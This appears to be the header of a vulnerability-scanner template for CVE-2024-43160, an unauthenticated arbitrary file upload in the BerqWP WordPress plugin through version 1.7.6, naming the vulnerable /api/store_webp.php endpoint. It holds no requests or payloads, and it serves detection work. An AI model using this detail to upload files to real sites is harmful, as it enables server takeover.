CVE-2024-43160: BerqWP <= 1.7.6 - Arbitrary File Upload

id: CVE-2024-43160

info:
  name: BerqWP <= 1.7.6 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The BerqWP Automated All-In-One PageSpeed Optimization Plugin for Core Web Vitals, Cache, CDN, Images, CSS, and JavaScript plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the /api/store_webp.php file in all versions up to, and including, 1.7.6. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
